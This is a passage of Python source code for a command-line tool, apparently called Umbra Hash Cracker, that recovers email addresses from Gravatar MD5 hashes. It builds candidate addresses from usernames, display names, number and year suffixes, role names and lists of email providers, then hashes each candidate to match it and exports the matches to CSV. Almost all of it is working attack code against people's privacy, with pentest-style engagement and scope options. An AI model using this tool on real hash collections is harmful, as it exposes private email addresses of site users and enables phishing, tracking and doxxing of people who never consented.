src = sqlite3.connect(hash_db_path)
|
||||
src.row_factory = sqlite3.Row
|
||||
rows = src.execute("SELECT hash, domain, username, display_name, user_id FROM hashes").fetchall()
|
||||
count = 0
|
||||
for r in rows:
|
||||
try:
|
||||
conn.execute("""
|
||||
INSERT INTO hashes (hash, domain, username, display_name, user_id)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
ON CONFLICT(hash) DO UPDATE SET
|
||||
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END,
|
||||
user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END
|
||||
""", (r["hash"], r["domain"], r["username"], r["display_name"], r["user_id"]))
|
||||
count += 1
|
||||
except Exception:
|
||||
pass
|
||||
conn.commit()
|
||||
src.close()
|
||||
return count
|
||||
|
||||
def import_hashes_from_file(conn, filepath):
|
||||
"""Import raw hashes from a text file (one hash per line)."""
|
||||
count = 0
|
||||
with open(filepath) as f:
|
||||
for line in f:
|
||||
h = line.strip().lower()
|
||||
if re.match(r'^[a-f0-9]{32}$', h):
|
||||
try:
|
||||
conn.execute(
|
||||
"INSERT OR IGNORE INTO hashes (hash) VALUES (?)", (h,))
|
||||
count += 1
|
||||
except Exception:
|
||||
pass
|
||||
conn.commit()
|
||||
return count
|
||||
|
||||
# ─── Email Candidate Generation ──────────────────────────────────────────────
|
||||
def normalize_name(name):
|
||||
"""Normalize a display name for email generation."""
|
||||
name = name.lower().strip()
|
||||
name = re.sub(r'[^\w\s.-]', '', name)
|
||||
return name
|
||||
|
||||
def generate_username_variants(username):
|
||||
"""Generate email local-part variants from a username."""
|
||||
if not username:
|
||||
return []
|
||||
u = username.lower().strip()
|
||||
variants = [u]
|
||||
|
||||
# Common separators
|
||||
if "_" in u:
|
||||
variants.append(u.replace("_", "."))
|
||||
variants.append(u.replace("_", ""))
|
||||
variants.append(u.replace("_", "-"))
|
||||
if "." in u:
|
||||
variants.append(u.replace(".", "_"))
|
||||
variants.append(u.replace(".", ""))
|
||||
variants.append(u.replace(".", "-"))
|
||||
if "-" in u:
|
||||
variants.append(u.replace("-", "."))
|
||||
variants.append(u.replace("-", "_"))
|
||||
variants.append(u.replace("-", ""))
|
||||
|
||||
return list(set(variants))
|
||||
|
||||
def generate_name_variants(display_name):
|
||||
"""Generate email local-part variants from a display name."""
|
||||
if not display_name:
|
||||
return []
|
||||
|
||||
name = normalize_name(display_name)
|
||||
parts = name.split()
|
||||
|
||||
if not parts:
|
||||
return []
|
||||
|
||||
variants = set()
|
||||
|
||||
if len(parts) == 1:
|
||||
w = parts[0]
|
||||
variants.add(w)
|
||||
return list(variants)
|
||||
|
||||
first = parts[0]
|
||||
last = parts[-1]
|
||||
middle = parts[1:-1] if len(parts) > 2 else []
|
||||
|
||||
# Basic combinations
|
||||
variants.add(f"{first}{last}")
|
||||
variants.add(f"{first}.{last}")
|
||||
variants.add(f"{first}_{last}")
|
||||
variants.add(f"{first}-{last}")
|
||||
variants.add(f"{last}{first}")
|
||||
variants.add(f"{last}.{first}")
|
||||
variants.add(f"{last}_{first}")
|
||||
variants.add(f"{last}-{first}")
|
||||
|
||||
# Initials
|
||||
variants.add(f"{first[0]}{last}")
|
||||
variants.add(f"{first[0]}.{last}")
|
||||
variants.add(f"{first[0]}_{last}")
|
||||
variants.add(f"{first}{last[0]}")
|
||||
variants.add(f"{first}.{last[0]}")
|
||||
variants.add(f"{first[0]}{last[0]}")
|
||||
|
||||
# First name only, last name only
|
||||
variants.add(first)
|
||||
variants.add(last)
|
||||
|
||||
# With middle initial
|
||||
if middle:
|
||||
mi = middle[0][0]
|
||||
variants.add(f"{first}{mi}{last}")
|
||||
variants.add(f"{first}.{mi}.{last}")
|
||||
variants.add(f"{first}{mi}.{last}")
|
||||
variants.add(f"{first[0]}{mi}{last}")
|
||||
|
||||
# Number suffixes (common patterns)
|
||||
for base in [f"{first}{last}", f"{first}.{last}", first, last]:
|
||||
for suffix in ["1", "2", "12", "13", "21", "22", "23", "69", "77",
|
||||
"88", "99", "00", "01", "07", "11", "123", "321",
|
||||
"007", "666", "777", "888", "999"]:
|
||||
variants.add(f"{base}{suffix}")
|
||||
|
||||
# Year suffixes
|
||||
for base in [f"{first}{last}", f"{first}.{last}"]:
|
||||
for year in range(60, 100):
|
||||
variants.add(f"{base}{year}")
|
||||
for year in range(0, 10):
|
||||
variants.add(f"{base}0{year}")
|
||||
|
||||
return list(variants)
|
||||
|
||||
def generate_domain_variants(domain):
|
||||
"""Generate email local-parts from the website domain."""
|
||||
if not domain:
|
||||
return []
|
||||
variants = set()
|
||||
|
||||
# Strip TLD
|
||||
parts = domain.split(".")
|
||||
if len(parts) >= 2:
|
||||
name = parts[0] # e.g., "example" from "example.com"
|
||||
variants.add(name)
|
||||
variants.add(f"admin")
|
||||
variants.add(f"info")
|
||||
variants.add(f"contact")
|
||||
variants.add(f"support")
|
||||
variants.add(f"hello")
|
||||
variants.add(f"press")
|
||||
variants.add(f"media")
|
||||
variants.add(f"editor")
|
||||
variants.add(f"news")
|
||||
variants.add(f"team")
|
||||
variants.add(f"webmaster")
|
||||
variants.add(f"postmaster")
|
||||
|
||||
return list(variants)
|
||||
|
||||
# ─── Cracking Engine ─────────────────────────────────────────────────────────
|
||||
class Cracker:
|
||||
def __init__(self, conn, providers=None, custom_wordlist=None):
|
||||
self.conn = conn
|
||||
self.providers = providers or ALL_PROVIDERS
|
||||
self.custom_wordlist = custom_wordlist or []
|
||||
self.console = Console()
|
||||
# Stats
|
||||
self.total_hashes = 0
|
||||
self.uncracked = 0
|
||||
self.cracked = 0
|
||||
self.candidates_tested = 0
|
||||
self.start_time = 0
|
||||
self.newly_cracked = []
|
||||
|
||||
def load_hashes(self):
|
||||
"""Load all uncracked hashes into a lookup dict."""
|
||||
rows = self.conn.execute(
|
||||
"SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = ''"
|
||||
).fetchall()
|
||||
return {r["hash"]: dict(r) for r in rows}
|
||||
|
||||
def check_candidate(self, email, hash_lookup):
|
||||
"""Check if an email's MD5 matches any hash."""
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
if h in hash_lookup:
|
||||
return h, email
|
||||
return None, None
|
||||
|
||||
def crack(self, region_focus=None, use_custom_only=False):
|
||||
"""Run the cracking engine."""
|
||||
self.start_time = time.monotonic()
|
||||
hash_lookup = self.load_hashes()
|
||||
self.total_hashes = len(hash_lookup) + self.conn.execute(
|
||||
"SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
self.uncracked = len(hash_lookup)
|
||||
self.cracked = 0
|
||||
self.candidates_tested = 0
|
||||
self.newly_cracked = []
|
||||
|
||||
if not hash_lookup:
|
||||
self.console.print("[dim]No uncracked hashes to process.[/]")
|
||||
return
|
||||
|
||||
# Select provider list
|
||||
if use_custom_only:
|
||||
providers = []
|
||||
elif region_focus and region_focus in REGIONAL_PROVIDERS:
|
||||
providers = MAJOR_PROVIDERS + REGIONAL_PROVIDERS[region_focus]
|
||||
else:
|
||||
providers = self.providers
|
||||
|
||||
# Build candidate generators per hash
|
||||
self.console.print(f"[green]Loaded {len(hash_lookup)} uncracked hashes[/]")
|
||||
self.console.print(f"[green]Using {len(providers)} email providers[/]")
|
||||
if self.custom_wordlist:
|
||||
self.console.print(f"[green]Custom wordlist: {len(self.custom_wordlist)} entries[/]")
|
||||
|
||||
with Progress(
|
||||
SpinnerColumn(),
|
||||
TextColumn("[bold green]{task.description}"),
|
||||
BarColumn(bar_width=40),
|
||||
TextColumn("[cyan]{task.fields[stats]}"),
|
||||
TimeElapsedColumn(),
|
||||
console=self.console,
|
||||
) as progress:
|
||||
task_id = progress.add_task("Cracking", total=None, stats="")
|
||||
|
||||
# Phase 1: Username + provider combinations
|
||||
for h, info in list(hash_lookup.items()):
|
||||
username_variants = generate_username_variants(info.get("username", ""))
|
||||
name_variants = generate_name_variants(info.get("display_name", ""))
|
||||
domain_variants = generate_domain_variants(info.get("domain", ""))
|
||||
|
||||
all_local_parts = set(username_variants + name_variants + domain_variants)
|
||||
|
||||
# Also add custom wordlist entries
|
||||
if self.custom_wordlist:
|
||||
all_local_parts.update(self.custom_wordlist)
|
||||
|
||||
for local_part in all_local_parts:
|
||||
if not local_part:
|
||||
continue
|
||||
|
||||
# Try domain as email domain first (site-specific emails)
|
||||
site_domain = info.get("domain", "")
|
||||
if site_domain:
|
||||
email = f"{local_part}@{site_domain}"
|
||||
self.candidates_tested += 1
|
||||
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||
if matched_hash:
|
||||
self._record_crack(matched_hash, matched_email, "domain_match", hash_lookup)
|
||||
continue
|
||||
|
||||
# Try all providers
|
||||
for provider in providers:
|
||||
email = f"{local_part}@{provider}"
|
||||
self.candidates_tested += 1
|
||||
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||
if matched_hash:
|
||||
self._record_crack(matched_hash, matched_email, "provider_match", hash_lookup)
|
||||
break
|
||||
|
||||
# Update progress periodically
|
||||
if self.candidates_tested % 10000 == 0:
|
||||
elapsed = time.monotonic() - self.start_time
|
||||
rate = self.candidates_tested / elapsed if elapsed > 0 else 0
|
||||
progress.update(task_id,
|
||||
stats=f"Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s")
|
||||
|
||||
# Phase 2: Custom wordlist as full emails
|
||||
if self.custom_wordlist:
|
||||
for word in self.custom_wordlist:
|
||||
if "@" in word:
|
||||
self.candidates_tested += 1
|
||||
matched_hash, matched_email = self.check_candidate(word, hash_lookup)
|
||||
if matched_hash:
|
||||
self._record_crack(matched_hash, matched_email, "wordlist", hash_lookup)
|
||||
|
||||
# Phase 3: Common standalone patterns
|
||||
common_names = [
|
||||
"admin", "info", "contact", "support", "test", "user",
|
||||
"demo", "guest", "root", "mail", "email", "office",
|
||||
"help", "sales", "service", "webmaster", "postmaster",
|
||||
"noreply", "no-reply", "newsletter", "feedback",
|
||||
]
|
||||
for name in common_names:
|
||||
for provider in MAJOR_PROVIDERS[:10]:
|
||||
email = f"{name}@{provider}"
|
||||
self.candidates_tested += 1
|
||||
matched_hash, matched_email = self.check_candidate(email, hash_lookup)
|
||||
if matched_hash:
|
||||
self._record_crack(matched_hash, matched_email, "common_pattern", hash_lookup)
|
||||
|
||||
elapsed = time.monotonic() - self.start_time
|
||||
rate = self.candidates_tested / elapsed if elapsed > 0 else 0
|
||||
progress.update(task_id, completed=True,
|
||||
stats=f"Done! Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s")
|
||||
|
||||
def _record_crack(self, hash_val, email, method, hash_lookup):
|
||||
"""Record a cracked hash."""
|
||||
elapsed_ms = int((time.monotonic() - self.start_time) * 1000)
|
||||
self.conn.execute("""
|
||||
UPDATE hashes SET cracked_email = ?, crack_method = ?,
|
||||
crack_time_ms = ?, cracked_at = CURRENT_TIMESTAMP
|
||||
WHERE hash = ?
|
||||
""", (email, method, elapsed_ms, hash_val))
|
||||
self.conn.commit()
|
||||
|
||||
info = hash_lookup.pop(hash_val, {})
|
||||
self.cracked += 1
|
||||
self.uncracked -= 1
|
||||
self.newly_cracked.append({
|
||||
"hash": hash_val,
|
||||
"email": email,
|
||||
"method": method,
|
||||
"username": info.get("username", ""),
|
||||
"domain": info.get("domain", ""),
|
||||
})
|
||||
|
||||
self.console.print(
|
||||
f" [bold green]CRACKED[/] {email} "
|
||||
f"[dim](hash: {hash_val[:16]}... user: {info.get('username', '?')} @ {info.get('domain', '?')})[/]"
|
||||
)
|
||||
|
||||
# ─── Dashboard TUI ───────────────────────────────────────────────────────────
|
||||
console = Console()
|
||||
|
||||
MENU_ITEMS = [
|
||||
("1", "Load hashes (.db / .txt)"),
|
||||
("2", "Add custom wordlist"),
|
||||
("3", "Start cracking"),
|
||||
("4", "View cracked"),
|
||||
("5", "View uncracked"),
|
||||
("6", "Export CSV"),
|
||||
("7", "Statistics"),
|
||||
("8", "Verify email"),
|
||||
("9", "Hash an email"),
|
||||
("Q", "Quit"),
|
||||
]
|
||||
|
||||
CRACK_INFO = [
|
||||
f"{len(ALL_PROVIDERS)} email providers",
|
||||
"Pattern-based email recovery",
|
||||
"Cultural naming patterns",
|
||||
"Region-focused cracking",
|
||||
"Custom wordlist support",
|
||||
"Local computation only",
|
||||
]
|
||||
|
||||
def get_db_stats(conn):
|
||||
try:
|
||||
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
return f"Loaded: {total:,} | Cracked: {cracked:,} | Uncracked: {total-cracked:,}"
|
||||
except Exception:
|
||||
return "DB: empty"
|
||||
|
||||
def show_results(conn, limit=50):
|
||||
rows = conn.execute("""
|
||||
SELECT hash, domain, username, display_name, cracked_email, crack_method
|
||||
FROM hashes WHERE cracked_email != ''
|
||||
ORDER BY cracked_at DESC LIMIT ?
|
||||
""", (limit,)).fetchall()
|
||||
|
||||
table = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]")
|
||||
table.add_column("Hash", style="cyan", width=18)
|
||||
table.add_column("Email", style="bold green", max_width=35)
|
||||
table.add_column("Username", style="white", max_width=15)
|
||||
table.add_column("Domain", style="dim", max_width=20)
|
||||
table.add_column("Method", style="yellow", width=16)
|
||||
|
||||
for r in rows:
|
||||
table.add_row(
|
||||
r["hash"][:16] + "...",
|
||||
r["cracked_email"],
|
||||
r["username"] or "-",
|
||||
r["domain"] or "-",
|
||||
r["crack_method"] or "-"
|
||||
)
|
||||
console.print(table)
|
||||
|
||||
def show_uncracked(conn, limit=30):
|
||||
rows = conn.execute("""
|
||||
SELECT hash, domain, username, display_name
|
||||
FROM hashes WHERE cracked_email = ''
|
||||
ORDER BY domain, username LIMIT ?
|
||||
""", (limit,)).fetchall()
|
||||
|
||||
table = Table(box=box.ROUNDED, border_style="yellow", title="[yellow]Uncracked Hashes[/]")
|
||||
table.add_column("Hash", style="cyan", width=34)
|
||||
table.add_column("Domain", style="white", max_width=25)
|
||||
table.add_column("Username", style="dim", max_width=20)
|
||||
table.add_column("Display Name", style="dim", max_width=20)
|
||||
|
||||
for r in rows:
|
||||
table.add_row(r["hash"], r["domain"] or "-",
|
||||
r["username"] or "-", r["display_name"] or "-")
|
||||
console.print(table)
|
||||
|
||||
def show_stats(conn):
|
||||
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
uncracked = total - cracked
|
||||
unique_domains = conn.execute("SELECT COUNT(DISTINCT domain) FROM hashes WHERE domain != ''").fetchone()[0]
|
||||
|
||||
# Top cracked providers
|
||||
top_providers = conn.execute("""
|
||||
SELECT SUBSTR(cracked_email, INSTR(cracked_email, '@') + 1) as provider,
|
||||
COUNT(*) as cnt
|
||||
FROM hashes WHERE cracked_email != ''
|
||||
GROUP BY provider ORDER BY cnt DESC LIMIT 10
|
||||
""").fetchall()
|
||||
|
||||
# Top crack methods
|
||||
top_methods = conn.execute("""
|
||||
SELECT crack_method, COUNT(*) as cnt
|
||||
FROM hashes WHERE cracked_email != ''
|
||||
GROUP BY crack_method ORDER BY cnt DESC
|
||||
""").fetchall()
|
||||
|
||||
table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]")
|
||||
table.add_column("Metric", style="bold")
|
||||
table.add_column("Value", justify="right", style="cyan")
|
||||
table.add_row("Total Hashes", str(total))
|
||||
table.add_row("Cracked", f"[bold green]{cracked}[/]")
|
||||
table.add_row("Uncracked", f"[yellow]{uncracked}[/]")
|
||||
table.add_row("Crack Rate", f"{cracked/total*100:.1f}%" if total else "0%")
|
||||
table.add_row("Source Domains", str(unique_domains))
|
||||
table.add_row("Email Providers", str(len(ALL_PROVIDERS)))
|
||||
console.print(table)
|
||||
|
||||
if top_providers:
|
||||
prov_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Top Cracked Providers[/]")
|
||||
prov_table.add_column("Provider", style="green")
|
||||
prov_table.add_column("Count", justify="right", style="cyan")
|
||||
for p in top_providers:
|
||||
prov_table.add_row(p["provider"], str(p["cnt"]))
|
||||
console.print(prov_table)
|
||||
|
||||
if top_methods:
|
||||
meth_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Crack Methods[/]")
|
||||
meth_table.add_column("Method", style="yellow")
|
||||
meth_table.add_column("Count", justify="right", style="cyan")
|
||||
for m in top_methods:
|
||||
meth_table.add_row(m["crack_method"], str(m["cnt"]))
|
||||
console.print(meth_table)
|
||||
|
||||
def export_csv_fn(conn, output="um-crack-export.csv"):
|
||||
cursor = conn.execute("""
|
||||
SELECT hash, domain, username, display_name, cracked_email,
|
||||
crack_method, crack_time_ms, cracked_at
|
||||
FROM hashes WHERE cracked_email != ''
|
||||
ORDER BY domain, cracked_email
|
||||
""")
|
||||
rows = cursor.fetchall()
|
||||
cols = [d[0] for d in cursor.description]
|
||||
|
||||
with open(output, "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(cols)
|
||||
for r in rows:
|
||||
writer.writerow(list(r))
|
||||
console.print(f"[green]Exported {len(rows)} cracked hashes to {output}[/]")
|
||||
|
||||
def export_all_csv(conn, output="um-crack-all.csv"):
|
||||
cursor = conn.execute("SELECT * FROM hashes ORDER BY domain, hash")
|
||||
rows = cursor.fetchall()
|
||||
cols = [d[0] for d in cursor.description]
|
||||
|
||||
with open(output, "w", newline="") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(cols)
|
||||
for r in rows:
|
||||
writer.writerow(list(r))
|
||||
console.print(f"[green]Exported all {len(rows)} hashes to {output}[/]")
|
||||
|
||||
def load_wordlist(path):
|
||||
"""Load a custom wordlist for cracking."""
|
||||
words = []
|
||||
with open(path) as f:
|
||||
for line in f:
|
||||
word = line.strip()
|
||||
if word and not word.startswith("#"):
|
||||
words.append(word.lower())
|
||||
return words
|
||||
|
||||
def merge_databases(db_paths, output="um-crack.db"):
|
||||
conn = init_db(output)
|
||||
for path in db_paths:
|
||||
if not os.path.exists(path):
|
||||
continue
|
||||
src = sqlite3.connect(path)
|
||||
src.row_factory = sqlite3.Row
|
||||
for r in src.execute("SELECT * FROM hashes").fetchall():
|
||||
try:
|
||||
conn.execute("""
|
||||
INSERT INTO hashes (hash, domain, username, display_name, user_id,
|
||||
cracked_email, crack_method, crack_time_ms, cracked_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(hash) DO UPDATE SET
|
||||
domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END,
|
||||
username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END,
|
||||
display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END,
|
||||
user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END,
|
||||
cracked_email = CASE WHEN excluded.cracked_email != '' THEN excluded.cracked_email ELSE cracked_email END,
|
||||
crack_method = CASE WHEN excluded.crack_method != '' THEN excluded.crack_method ELSE crack_method END,
|
||||
cracked_at = CASE WHEN excluded.cracked_at IS NOT NULL THEN excluded.cracked_at ELSE cracked_at END
|
||||
""", (r["hash"], r["domain"], r["username"], r["display_name"],
|
||||
r["user_id"], r["cracked_email"], r["crack_method"],
|
||||
r["crack_time_ms"], r["cracked_at"]))
|
||||
except Exception:
|
||||
pass
|
||||
src.close()
|
||||
console.print(f"[dim]Merged: {path}[/dim]")
|
||||
conn.commit()
|
||||
return conn
|
||||
|
||||
# ─── CLI ──────────────────────────────────────────────────────────────────────
|
||||
@click.group(invoke_without_command=True)
|
||||
@click.option("--db", default="um-crack.db", help="Database file path")
|
||||
@click.option("--engagement", "-E", default=None, help="Engagement name for organized output")
|
||||
@click.option("--scope", "scope_file", default=None, help="Scope file to restrict targets")
|
||||
@click.pass_context
|
||||
def cli(ctx, db, engagement, scope_file):
|
||||
"""Umbra Hash Cracker — Pattern-based email recovery from Gravatar hashes."""
|
||||
ctx.ensure_object(dict)
|
||||
# Env var fallback
|
||||
engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "")
|
||||
scope_file = scope_file or os.environ.get("UMBRA_SCOPE", "")
|
||||
scope = []
|
||||
if engagement:
|
||||
create_engagement(engagement)
|
||||
db = get_engagement_db_path(engagement, TOOL_NAME)
|
||||
if scope_file:
|
||||
scope = load_scope(scope_file)
|
||||
ctx.obj["db"] = db
|
||||
ctx.obj["engagement"] = engagement
|
||||
ctx.obj["scope"] = scope
|
||||
# Ops hook
|
||||
hook = get_ops_hook(TOOL_NAME, engagement)
|
||||
ctx.obj["hook"] = hook
|
||||
if hook:
|
||||
hook.register()
|
||||
if ctx.invoked_subcommand is None:
|
||||
interactive_menu(ctx)
|
||||
|
||||
@cli.command("load")
|
||||
@click.argument("source")
|
||||
@click.pass_context
|
||||
def load_cmd(ctx, source):
|
||||
"""Load hashes from a um-hash.db or text file."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
if source.endswith(".db"):
|
||||
count = import_from_hash_db(conn, source)
|
||||
console.print(f"[green]Imported {count} hashes from {source}[/]")
|
||||
else:
|
||||
count = import_hashes_from_file(conn, source)
|
||||
console.print(f"[green]Imported {count} hashes from {source}[/]")
|
||||
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.option("--region", default=None, help="Focus on region (e.g., us, uk, de, jp, cn)")
|
||||
@click.option("--wordlist", default=None, help="Custom wordlist file")
|
||||
@click.option("--providers-only", default=None, help="Comma-separated list of email providers to try")
|
||||
@click.pass_context
|
||||
def crack(ctx, region, wordlist, providers_only):
|
||||
"""Start cracking loaded hashes."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
custom_words = load_wordlist(wordlist) if wordlist else []
|
||||
providers = None
|
||||
if providers_only:
|
||||
providers = [p.strip() for p in providers_only.split(",")]
|
||||
|
||||
cracker = Cracker(conn, providers=providers, custom_wordlist=custom_words)
|
||||
cracker.crack(region_focus=region)
|
||||
|
||||
console.print()
|
||||
if cracker.newly_cracked:
|
||||
console.print(f"[bold green]Newly cracked: {len(cracker.newly_cracked)}[/]")
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.pass_context
|
||||
def results(ctx):
|
||||
"""Show cracked hashes."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
show_results(conn, limit=100)
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.pass_context
|
||||
def uncracked(ctx):
|
||||
"""Show uncracked hashes."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
show_uncracked(conn, limit=100)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.option("-o", "--output", default="um-crack-export.csv")
|
||||
@click.option("--all", "export_all", is_flag=True, help="Export all hashes (not just cracked)")
|
||||
@click.pass_context
|
||||
def export(ctx, output, export_all):
|
||||
"""Export results to CSV."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
if export_all:
|
||||
export_all_csv(conn, output)
|
||||
else:
|
||||
export_csv_fn(conn, output)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.pass_context
|
||||
def stats(ctx):
|
||||
"""Show database statistics."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("directory")
|
||||
@click.option("-o", "--output", default="um-crack.db")
|
||||
@click.pass_context
|
||||
def merge(ctx, directory, output):
|
||||
"""Merge multiple .db files."""
|
||||
import glob
|
||||
db_paths = glob.glob(os.path.join(directory, "*.db"))
|
||||
if not db_paths:
|
||||
console.print(f"[red]No .db files found in {directory}[/]")
|
||||
return
|
||||
conn = merge_databases(db_paths, output)
|
||||
show_stats(conn)
|
||||
conn.close()
|
||||
|
||||
@cli.command()
|
||||
@click.argument("email")
|
||||
@click.pass_context
|
||||
def verify(ctx, email):
|
||||
"""Verify an email against loaded hashes."""
|
||||
conn = init_db(ctx.obj["db"])
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone()
|
||||
if row:
|
||||
console.print(f"[bold green]MATCH![/] Hash {h} matches email {email}")
|
||||
console.print(f" Domain: {row['domain'] or '-'}")
|
||||
console.print(f" Username: {row['username'] or '-'}")
|
||||
console.print(f" Display Name: {row['display_name'] or '-'}")
|
||||
|
||||
# Update if not already cracked
|
||||
if not row["cracked_email"]:
|
||||
conn.execute("""
|
||||
UPDATE hashes SET cracked_email = ?, crack_method = 'manual_verify',
|
||||
cracked_at = CURRENT_TIMESTAMP
|
||||
WHERE hash = ?
|
||||
""", (email, h))
|
||||
conn.commit()
|
||||
console.print("[green]Recorded as cracked.[/]")
|
||||
else:
|
||||
console.print(f"[dim]No match. Hash {h} not in database.[/]")
|
||||
conn.close()
|
||||
|
||||
@cli.command("hash-email")
|
||||
@click.argument("email")
|
||||
def hash_email(email):
|
||||
"""Show the MD5 hash of an email address."""
|
||||
h = hashlib.md5(email.lower().strip().encode()).hexdigest()
|
||||
console.print(f"[cyan]{email}[/] → [green]{h}[/]")
|
||||
|
||||
# ─── Interactive Menu ─────────────────────────────────────────────────────────
|
||||
def interactive_menu(ctx):
|
||||
conn = init_db(ctx.obj["db"])
|
||||
|
||||
custom_wordlist = []
|
||||
|
||||
def action_handler(key, tui):
|
||||
nonlocal custom_wordlist
|
||||
|
||||
if key == "1":
|
||||
def on_source(source):
|
||||
if not os.path.exists(source):
|
||||
tui.log(f"[!] File not found: {source}")
|
||||
return
|
||||
if source.endswith(".db"):
|
||||
count = import_from_hash_db(conn, source)
|
||||
else:
|
||||
count = import_hashes_from_file(conn, source)
|
||||
tui.log(f"[+] Imported {count} hashes from {source}")
|
||||
tui.prompt("Path to .db or .txt file", on_source)
|
||||
|
||||
elif key == "2":
|
||||
def on_path(wl_path):
|
||||
nonlocal custom_wordlist
|
||||
if os.path.exists(wl_path):
|
||||
custom_wordlist = load_wordlist(wl_path)
|
||||
tui.log(f"[+] Loaded {len(custom_wordlist)} words from {wl_path}")
|
||||
else:
|
||||
tui.log(f"[!] File not found: {wl_path}")
|
||||
tui.prompt("Wordlist file path", on_path)
|
||||
|
||||
elif key == "3":
|
||||
def on_region(region):
|
||||
if region == "all":
|
||||
region_val = None
|
||||
else:
|
||||
region_val = region
|
||||
tui.log("[*] Starting crack session...")
|
||||
cracker = Cracker(conn, custom_wordlist=custom_wordlist)
|
||||
original_record = cracker._record_crack
|
||||
|
||||
def patched_record(hash_val, email, method, hash_lookup):
|
||||
original_record(hash_val, email, method, hash_lookup)
|
||||
tui.log(f"[+] CRACKED: {email} ({method})")
|
||||
|
||||
cracker._record_crack = patched_record
|
||||
|
||||
def do_crack():
|
||||
cracker.crack(region_focus=region_val)
|
||||
if cracker.newly_cracked:
|
||||
tui.log(f"[+] Session complete: {len(cracker.newly_cracked)} new cracks")
|
||||
else:
|
||||
tui.log("[-] Session complete: no new cracks")
|
||||
tui.log(f"[*] Tested {cracker.candidates_tested:,} candidates")
|
||||
|
||||
tui.run_threaded(do_crack, status="Cracking...")
|
||||
tui.prompt("Region focus (us/uk/de/jp/cn/etc, or 'all')", on_region, default="all")
|
||||
|
||||
elif key == "4":
|
||||
rows = conn.execute(
|
||||
"SELECT hash, domain, username, display_name, cracked_email, crack_method FROM hashes WHERE cracked_email != '' ORDER BY cracked_at DESC LIMIT 50"
|
||||
).fetchall()
|
||||
t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]")
|
||||
t.add_column("Hash", style="dim", max_width=16)
|
||||
t.add_column("Domain", style="cyan")
|
||||
t.add_column("User", style="green")
|
||||
t.add_column("Email", style="bold green")
|
||||
t.add_column("Method", style="yellow")
|
||||
for r in rows:
|
||||
t.add_row(r["hash"][:16], r["domain"], r["username"], r["cracked_email"], r["crack_method"])
|
||||
tui.show_table(t)
|
||||
|
||||
elif key == "5":
|
||||
rows = conn.execute(
|
||||
"SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = '' OR cracked_email IS NULL LIMIT 50"
|
||||
).fetchall()
|
||||
t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Uncracked Hashes[/]")
|
||||
t.add_column("Hash", style="dim", max_width=16)
|
||||
t.add_column("Domain", style="cyan")
|
||||
t.add_column("User", style="green")
|
||||
t.add_column("Display Name")
|
||||
for r in rows:
|
||||
t.add_row(r["hash"][:16], r["domain"], r["username"], r["display_name"])
|
||||
tui.show_table(t)
|
||||
|
||||
elif key == "6":
|
||||
def on_file(output_file):
|
||||
export_csv_fn(conn, output_file)
|
||||
tui.log(f"[+] Exported to {output_file}")
|
||||
tui.prompt("Output file", on_file, default="um-crack-export.csv")
|
||||
|
||||
elif key == "7":
|
||||
total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0]
|
||||
cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0]
|
||||
uncracked = total - cracked
|
||||
t = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]")
